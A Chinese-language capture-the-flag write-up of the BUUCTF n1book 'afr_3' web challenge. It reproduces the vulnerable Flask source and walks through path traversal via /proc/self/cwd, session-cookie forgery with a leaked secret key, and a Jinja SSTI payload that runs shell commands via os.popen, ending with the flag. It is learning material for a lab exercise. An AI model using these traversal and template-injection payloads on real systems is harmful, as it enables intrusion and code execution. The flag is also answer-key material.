会做拦截
不存在的文件报错不同
不同目录也是输flag会出现,猜测有黑名单
这里解码猜测是通过鉴权来的
要伪造ssesion,这里卡住
buuctf 刷题记录 [第一章 web入门]afr_3 - MuRKuo - 博客园
得知这里涉及ssit注入和flask模板注入,但是不理解怎么识别出来的
利用文中提及的poc
../../../../proc/self/cwd/server.py
Drmhze6EPcv0fN_81Bj-nA
然后使用GitCode - 全球开发者的开源社区,开源代码托管平台
flask_session_cookie_manager3伪造cookie
对应ssit代码{``{''.__class__.__mro__[2].__subclasses__()[40]('flag.py').read()}}
详情见最开始的链接,简单来说就是利用文件包含
python3 ./flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': '{{\'\'.class.mro[2].subclasses()[71].init.globals[\'os\'].popen(\'cat flag.py\').read()}}'}"
-s 指的是加密密钥
-t 指的是加密密文(ssti)
这样在后续才可以完成文件包含,这里伪造cookie是为了执行里面的代码,不是单纯的绕过认证,这里不加cookie会默认让cookie为n1code,至于后面那个/article接口只是在有flag字样时候展示notallow.txt,并不能完成攻击得到flag
不仔细读就踩坑
#!/usr/bin/python
import os
from flask import (Flask, render_template, request, url_for, redirect, session, render_template_string)
from flask_session import Session
app = Flask(__name__)
execfile('flag.py')
execfile('key.py')
FLAG = flag
app.secret_key = key
@app.route("/n1page", methods=["GET", "POST"])
def n1page():
if request.method != "POST":
return redirect(url_for("index"))
n1code = request.form.get("n1code") or None
if n1code is not None:
n1code = n1code.replace(".", "").replace("_", "").replace("{", "").replace("}", "")
if "n1code" not in session or session['n1code'] is None:
session['n1code'] = n1code
template = None
if session['n1code'] is not None:
template = '''<h1>N1 Page</h1>
<div class="row">
<div class="col-md-6 col-md-offset-3 center">
Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>?
</div>
</div>''' % session['n1code']
session['n1code'] = None
return render_template_string(template)
@app.route("/", methods=["GET"])
def index():
return render_template("main.html")
@app.route('/article', methods=['GET'])
def article():
error = 0
if 'name' in request.args:
page = request.args.get('name')
else:
page = 'article'
if page.find('flag') >= 0:
page = 'notallowed.txt'
try:
template = open('/home/nu11111111l/articles/{}'.format(page)).read()
except Exception as e:
template = e
return render_template('article.html', template=template)
if __name__ == "__main__":
app.run(host='0.0.0.0', debug=False)
要在这个路由下完成操作
'n1book{afr_3_solved}'